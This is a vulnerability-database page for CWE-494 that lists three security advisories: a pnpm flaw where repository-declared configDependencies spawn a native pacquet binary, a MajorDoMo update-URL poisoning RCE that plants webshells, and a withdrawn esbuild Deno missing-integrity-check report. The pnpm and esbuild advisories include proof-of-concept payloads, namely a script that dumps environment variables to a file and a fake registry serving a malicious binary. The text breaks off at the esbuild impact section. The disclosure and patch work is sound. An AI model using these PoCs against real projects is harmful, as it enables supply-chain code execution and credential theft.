Common Weakness Enumeration

CWE-494

Allowed

Download of Code Without Integrity Check

Abstraction: Base · Status: Draft

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

292 vulnerabilities reference this CWE, most recent first.

GHSA-GJ8W-MVPF-X27X

Vulnerability from github – Published: 2026-06-26 23:20 – Updated: 2026-06-26 23:20
VLAI
Summary
pnpm: Repository-controlled configDependencies can select a pacquet native install engine
Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

  • Advisory: CAND-PNPM-097 / GHSA-gj8w-mvpf-x27x
  • Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x
  • Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
  • Shared patch branch: security/ghsa-batch-2026-06-09
  • Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
  • Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
  • Maintainer priority: start-here
  • Component: pnpm configDependencies / pacquet delegation
  • Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust
  • Affected packages: npm:pnpm, npm:@pnpm/config.reader, npm:@pnpm/installing.commands
  • CWE IDs: CWE-829, CWE-78, CWE-494
  • Conservative CVSS: 7.5 / CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created.

Files And Tests To Review

  • config/reader/src/Config.ts
  • config/reader/src/types.ts
  • config/reader/src/configFileKey.ts
  • config/reader/src/index.ts
  • config/reader/test/index.ts
  • installing/commands/src/installDeps.ts
  • installing/commands/test/runPacquet.ts
  • pnpm/test/install/pacquet.ts
  • .changeset/lucky-config-plugin-pnpmfiles.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-097-patched-result.json.

Summary

pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific @pacquet/<platform>-<arch>/pacquet binary from node_modules/.pnpm-config/<packageName> and spawned it as the developer or CI user.

Details

The vulnerable source-to-sink path was:

  • config/reader/src/getOptionsFromRootManifest.ts copies repository pnpm-workspace.yaml configDependencies into config.
  • pnpm/src/getConfig.ts installs config dependencies before command dispatch.
  • installing/env-installer/src/resolveAndInstallConfigDeps.ts resolves the repository-declared dependency and its optional platform subdependencies.
  • installing/env-installer/src/installConfigDeps.ts fetches, imports, and symlinks the config dependency tree under node_modules/.pnpm-config.
  • installing/commands/src/installDeps.ts selected pacquet delegation whenever configDependencies contained pacquet or @pnpm/pacquet.
  • installing/deps-installer/src/install/index.ts called opts.runPacquet from frozen and materialization paths.
  • installing/commands/src/runPacquet.ts resolved @pacquet/${process.platform}-${process.arch}/pacquet from the installed config dependency package and executed it with spawn().

Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine.

PoC

Standalone PoC and verification script:

Repository fixture:

packages:
  - .
configDependencies:
  pacquet: 0.2.2

Registry package shape:

{
  "name": "pacquet",
  "version": "0.2.2",
  "optionalDependencies": {
    "@pacquet/darwin-arm64": "0.2.2"
  }
}

Platform package payload:

#!/bin/sh
echo "$PWD" > /tmp/pacquet-engine-ran
env > /tmp/pacquet-engine-env

Pre-patch exploit model:

  1. The victim runs a dependency-management command such as pnpm install in the repository.
  2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into .pnpm-config.
  3. installDeps() treats the presence of configDependencies.pacquet or configDependencies["@pnpm/pacquet"] as authorization to delegate install materialization.
  4. runPacquet() resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory.

Observed PoC output:

{
  "primitive": "repository-selected pacquet config dependency reaches native process execution when selected",
  "patchedWithoutAllowlist": "blocked",
  "trustedAllowlist": "allows explicit opt-in"
}

Focused validation commands:

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check

Validation result:

  • The PoC confirmed a selected pacquet config dependency reaches native process execution.
  • Patched getPacquetConfigDependencyName() returns undefined without a trusted allowlist.
  • Patched getPacquetConfigDependencyName() allows exact pacquet, exact @pnpm/pacquet, and wildcard * trusted opt-in.
  • Config reader regressions prove user/global config can set configDependencyInstallEngineAllowlist, while pnpm-workspace.yaml cannot grant this permission to itself.
  • E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config.
  • TypeScript builds passed for @pnpm/config.reader, @pnpm/installing.commands, and pnpm.
  • Focused installing/commands/test/runPacquet.ts: 3 passed.
  • Focused config/reader/test/index.ts: 2 passed, 132 skipped under the focused pattern.
  • ESLint passed with warnings only for existing skipped tests in config/reader/test/index.ts and pnpm/test/install/pacquet.ts.
  • git diff --check: passed.

Impact

A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access.

Affected products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader, @pnpm/installing.commands

Affected versions: current main before this patch, when configDependencies contains pacquet or @pnpm/pacquet and install paths delegate to pacquet.

Patched versions: 10.34.2, 11.5.3.

Severity

Severity: High

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base score: 8.8

Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact.

Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-78: Improper Neutralization of Special Elements used in an OS Command

CWE-494: Download of Code Without Integrity Check

Patch

The patch adds a trusted opt-in gate for config-dependency install-engine delegation:

  • New setting: configDependencyInstallEngineAllowlist.
  • The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config.
  • pnpm-workspace.yaml cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged.
  • installDeps() delegates to pacquet only when pacquet, @pnpm/pacquet, or * is present in the trusted allowlist.
  • Repositories can still install pacquet as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in.
  • Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config.

Changed files:

  • config/reader/src/Config.ts
  • config/reader/src/types.ts
  • config/reader/src/configFileKey.ts
  • config/reader/src/index.ts
  • config/reader/test/index.ts
  • installing/commands/src/installDeps.ts
  • installing/commands/test/runPacquet.ts
  • pnpm/test/install/pacquet.ts

Changeset:

  • .changeset/lucky-config-plugin-pnpmfiles.md

Pacquet parity:

No pacquet-side code-execution sink exists for this finding. The Rust port parses and records configDependencies for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path.

CVSS Reassessment

Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings.

Remaining Risk

Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 10.34.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494",
      "CWE-78",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:20:47Z",
    "nvd_published_at": "2026-06-25T18:16:40Z",
    "severity": "HIGH"
  },
  "details": "\u003c!-- maintainer-action:start --\u003e\n## Maintainer Action Plan\n\nThis report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.\n\n- Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x`\n- Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x\n- Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1\n- Shared patch branch: `security/ghsa-batch-2026-06-09`\n- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`\n- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`\n- Maintainer priority: `start-here`\n- Component: `pnpm configDependencies / pacquet delegation`\n- Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust\n- Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `npm:@pnpm/installing.commands`\n- CWE IDs: `CWE-829`, `CWE-78`, `CWE-494`\n- Conservative CVSS: `7.5` / `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n- Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.\n\n### Expected Patched Behavior\n\nconfig-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created.\n\n### Files And Tests To Review\n\n- `config/reader/src/Config.ts`\n- `config/reader/src/types.ts`\n- `config/reader/src/configFileKey.ts`\n- `config/reader/src/index.ts`\n- `config/reader/test/index.ts`\n- `installing/commands/src/installDeps.ts`\n- `installing/commands/test/runPacquet.ts`\n- `pnpm/test/install/pacquet.ts`\n- `.changeset/lucky-config-plugin-pnpmfiles.md`\n\n### Focused Validation\n\nRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.\n\n```bash\n./node_modules/.bin/tsgo --build config/reader/tsconfig.json\n./node_modules/.bin/tsgo --build installing/commands/tsconfig.json\n./node_modules/.bin/tsgo --build pnpm/tsconfig.json\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/index.ts -t \"config dependency code allowlists|user-level preference settings\" --runInBand\n./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts\ngit diff --check\n```\n\nThe full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate\u0027s replay evidence is `results/CAND-PNPM-097-patched-result.json`.\n\u003c!-- maintainer-action:end --\u003e\n\n### Summary\n\npnpm can install `configDependencies` declared in `pnpm-workspace.yaml` before command dispatch. Before the patch, a repository could declare `pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific `@pacquet/\u003cplatform\u003e-\u003carch\u003e/pacquet` binary from `node_modules/.pnpm-config/\u003cpackageName\u003e` and spawned it as the developer or CI user.\n\n### Details\n\nThe vulnerable source-to-sink path was:\n\n- `config/reader/src/getOptionsFromRootManifest.ts` copies repository `pnpm-workspace.yaml` `configDependencies` into config.\n- `pnpm/src/getConfig.ts` installs config dependencies before command dispatch.\n- `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves the repository-declared dependency and its optional platform subdependencies.\n- `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under `node_modules/.pnpm-config`.\n- `installing/commands/src/installDeps.ts` selected pacquet delegation whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`.\n- `installing/deps-installer/src/install/index.ts` called `opts.runPacquet` from frozen and materialization paths.\n- `installing/commands/src/runPacquet.ts` resolved `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency package and executed it with `spawn()`.\n\nExact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine.\n\n### PoC\n\nStandalone PoC and verification script:\n\nRepository fixture:\n\n```yaml\npackages:\n  - .\nconfigDependencies:\n  pacquet: 0.2.2\n```\n\nRegistry package shape:\n\n```json\n{\n  \"name\": \"pacquet\",\n  \"version\": \"0.2.2\",\n  \"optionalDependencies\": {\n    \"@pacquet/darwin-arm64\": \"0.2.2\"\n  }\n}\n```\n\nPlatform package payload:\n\n```sh\n#!/bin/sh\necho \"$PWD\" \u003e /tmp/pacquet-engine-ran\nenv \u003e /tmp/pacquet-engine-env\n```\n\nPre-patch exploit model:\n\n1. The victim runs a dependency-management command such as `pnpm install` in the repository.\n2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into `.pnpm-config`.\n3. `installDeps()` treats the presence of `configDependencies.pacquet` or `configDependencies[\"@pnpm/pacquet\"]` as authorization to delegate install materialization.\n4. `runPacquet()` resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory.\n\nObserved PoC output:\n\n```json\n{\n  \"primitive\": \"repository-selected pacquet config dependency reaches native process execution when selected\",\n  \"patchedWithoutAllowlist\": \"blocked\",\n  \"trustedAllowlist\": \"allows explicit opt-in\"\n}\n```\n\nFocused validation commands:\n\n```bash\n./node_modules/.bin/tsgo --build config/reader/tsconfig.json\n./node_modules/.bin/tsgo --build installing/commands/tsconfig.json\n./node_modules/.bin/tsgo --build pnpm/tsconfig.json\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/index.ts -t \"config dependency code allowlists|user-level preference settings\" --runInBand\n./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts\ngit diff --check\n```\n\nValidation result:\n\n- The PoC confirmed a selected pacquet config dependency reaches native process execution.\n- Patched `getPacquetConfigDependencyName()` returns `undefined` without a trusted allowlist.\n- Patched `getPacquetConfigDependencyName()` allows exact `pacquet`, exact `@pnpm/pacquet`, and wildcard `*` trusted opt-in.\n- Config reader regressions prove user/global config can set `configDependencyInstallEngineAllowlist`, while `pnpm-workspace.yaml` cannot grant this permission to itself.\n- E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config.\n- TypeScript builds passed for `@pnpm/config.reader`, `@pnpm/installing.commands`, and `pnpm`.\n- Focused `installing/commands/test/runPacquet.ts`: 3 passed.\n- Focused `config/reader/test/index.ts`: 2 passed, 132 skipped under the focused pattern.\n- ESLint passed with warnings only for existing skipped tests in `config/reader/test/index.ts` and `pnpm/test/install/pacquet.ts`.\n- `git diff --check`: passed.\n\n### Impact\n\nA malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user\u0027s filesystem, environment, registry credentials, git/SSH credentials, and network access.\n\n## Affected products\n\nEcosystem: npm\n\nPackage name: `pnpm`, `@pnpm/config.reader`, `@pnpm/installing.commands`\n\nAffected versions: current main before this patch, when `configDependencies` contains `pacquet` or `@pnpm/pacquet` and install paths delegate to pacquet.\n\nPatched versions: 10.34.2, 11.5.3.\n\n## Severity\n\nSeverity: High\n\nVector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\nBase score: 8.8\n\nRationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user\u0027s context, with high confidentiality, integrity, and availability impact.\n\n## Weaknesses\n\nCWE-829: Inclusion of Functionality from Untrusted Control Sphere\n\nCWE-78: Improper Neutralization of Special Elements used in an OS Command\n\nCWE-494: Download of Code Without Integrity Check\n\n## Patch\n\nThe patch adds a trusted opt-in gate for config-dependency install-engine delegation:\n\n- New setting: `configDependencyInstallEngineAllowlist`.\n- The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config.\n- `pnpm-workspace.yaml` cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged.\n- `installDeps()` delegates to pacquet only when `pacquet`, `@pnpm/pacquet`, or `*` is present in the trusted allowlist.\n- Repositories can still install `pacquet` as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in.\n- Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config.\n\nChanged files:\n\n- `config/reader/src/Config.ts`\n- `config/reader/src/types.ts`\n- `config/reader/src/configFileKey.ts`\n- `config/reader/src/index.ts`\n- `config/reader/test/index.ts`\n- `installing/commands/src/installDeps.ts`\n- `installing/commands/test/runPacquet.ts`\n- `pnpm/test/install/pacquet.ts`\n\nChangeset:\n\n- `.changeset/lucky-config-plugin-pnpmfiles.md`\n\nPacquet parity:\n\nNo pacquet-side code-execution sink exists for this finding. The Rust port parses and records `configDependencies` for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm\u0027s pacquet delegation path.\n\n## CVSS Reassessment\n\nInitial CVSS remains correct for vulnerable versions: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High.\n\nFinal CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository\u0027s own workspace settings.\n\n## Remaining Risk\n\nUsers can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine.",
  "id": "GHSA-gj8w-mvpf-x27x",
  "modified": "2026-06-26T23:20:47Z",
  "published": "2026-06-26T23:20:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: Repository-controlled configDependencies can select a pacquet native install engine"
}

GHSA-GRP8-P6J9-9X5F

Vulnerability from github – Published: 2026-02-19 00:30 – Updated: 2026-02-19 00:30
VLAI
Details

MajorDoMo (aka Major Domestic Module) is vulnerable to unauthenticated remote code execution through supply chain compromise via update URL poisoning. The saverestore module exposes its admin() method through the /objects/?module=saverestore endpoint without authentication because it uses gr('mode') (which reads directly from $_REQUEST) instead of the framework's $this->mode. An attacker can poison the system update URL via the auto_update_settings mode handler, then trigger the force_update handler to initiate the update chain. The autoUpdateSystem() method fetches an Atom feed from the attacker-controlled URL with trivial validation, downloads a tarball via curl with TLS verification disabled (CURLOPT_SSL_VERIFYPEER set to FALSE), extracts it using exec('tar xzvf ...'), and copies all extracted files to the document root using copyTree(). This allows an attacker to deploy arbitrary PHP files, including webshells, to the webroot with two GET requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-27180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-18T22:16:26Z",
    "severity": "CRITICAL"
  },
  "details": "MajorDoMo (aka Major Domestic Module) is vulnerable to unauthenticated remote code execution through supply chain compromise via update URL poisoning. The saverestore module exposes its admin() method through the /objects/?module=saverestore endpoint without authentication because it uses gr(\u0027mode\u0027) (which reads directly from $_REQUEST) instead of the framework\u0027s $this-\u003emode. An attacker can poison the system update URL via the auto_update_settings mode handler, then trigger the force_update handler to initiate the update chain. The autoUpdateSystem() method fetches an Atom feed from the attacker-controlled URL with trivial validation, downloads a tarball via curl with TLS verification disabled (CURLOPT_SSL_VERIFYPEER set to FALSE), extracts it using exec(\u0027tar xzvf ...\u0027), and copies all extracted files to the document root using copyTree(). This allows an attacker to deploy arbitrary PHP files, including webshells, to the webroot with two GET requests.",
  "id": "GHSA-grp8-p6j9-9x5f",
  "modified": "2026-02-19T00:30:30Z",
  "published": "2026-02-19T00:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sergejey/majordomo/pull/1177"
    },
    {
      "type": "WEB",
      "url": "https://chocapikk.com/posts/2026/majordomo-revisited"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/majordomo-supply-chain-remote-code-execution-via-update-url-poisoning"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GV7W-RQVM-QJHR

Vulnerability from github – Published: 2026-06-12 20:08 – Updated: 2026-06-17 13:42
VLAI
Summary
Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY
Details

Withdrawn Advisory

This advisory has been withdrawn because the affected package was incorrectly identified and the actual affected package is not in a supported ecosystem. This link is maintained to preserve external references.

Original Description

Summary

The esbuild Deno module (lib/deno/mod.ts) downloads native binary executables from an npm registry and writes them to disk with executable permissions (0o755) without performing any integrity verification (e.g., SHA-256 hash check). The Node.js equivalent (lib/npm/node-install.ts) includes a robust binaryIntegrityCheck() function that verifies SHA-256 hashes against hardcoded expected values from package.json, but this protection was never implemented for the Deno distribution.

When the NPM_CONFIG_REGISTRY environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.

Details

Vulnerable code pathlib/deno/mod.ts lines 62–82:

async function installFromNPM(name: string, subpath: string): Promise<string> {
  const { finalPath, finalDir } = getCachePath(name)
  try { await Deno.stat(finalPath); return finalPath } catch (e) {}

  const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"  // line 70: attacker-controlled
  const url = `${npmRegistry}/${name}/-/${name.replace("@esbuild/", "")}-${version}.tgz`     // line 71: URL uses attacker base
  const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download
  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract

  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })
  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod
  return finalPath                                                                              // line 81: no hash check
}

Missing protection — The Node.js equivalent at lib/npm/node-install.ts lines 228–234:

function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
  const hash = crypto.createHash('sha256').update(bytes).digest('hex')
  const key = `${pkg}/${subpath}`
  const expected = packageJSON['esbuild.binaryHashes'][key]
  if (!expected) throw new Error(`Missing hash for "${key}"`)
  if (hash !== expected) throw new Error(...)
}

This function is called in both the installUsingNPM() path (line 131) and the downloadDirectlyFromNPM() path (line 243), but no equivalent exists in the Deno module. Searching the entire git history confirms binaryIntegrityCheck, binaryHashes, sha256, and hash have never appeared in lib/deno/mod.ts.

Execution flow after download: The binary returned by installFromNPM() is passed to spawn() at line 291 of the same file:

const child = spawn(binPath, { args: [`--service=${version}`], ... })

Attack vector: The NPM_CONFIG_REGISTRY environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.

PoC

Prerequisites: Deno runtime, Node.js (for fake registry)

Step 1: Create a fake npm registry that serves a malicious binary:

// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
  const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
  // ... build tar.gz with fake binary as package/bin/esbuild ...
  res.writeHead(200, {'Content-Length': gz.length});
  res.end(gz);
}).listen(19876, () => console.log('READY'));

Step 2: Run the PoC with NPM_CONFIG_REGISTRY pointing to the fake server:

// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary

Step 3: Run:

node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED

Observed output in this environment:

Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0

Executing downloaded binary...
stdout: fake-esbuild-0.28.0

*** RCE CONFIRMED ***
Marker file content: PWNED

Build-local verification — using the actual built deno/mod.js:

The esbuild Deno module was built from source (node scripts/esbuild.js ./esbuild --deno) producing deno/mod.js. The fake registry test was then re-run using the actual module via import * as esbuild from "file:///path/to/deno/mod.js", triggering the real installFromNPM()installFromNPM() code path:

[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0

[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***
[TEST] Marker file content: VULN-CONFIRMED
[TEST] The actual built deno/mod.js downloaded and executed
[TEST] a malicious binary from the fake registry WITHOUT
[TEST] performing any SHA-256 integrity verification.

The malicious binary was cached at ~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0 with contents:

#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"

Built-in Deno module (deno/mod.js) confirmed to contain NPM_CONFIG_REGISTRY usage (line 1900) and zero references to binaryIntegrityCheck, binaryHashes, sha256, or crypto.createHash.

Negative/control case — Node.js rejects the same fake binary:

Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check

Impact

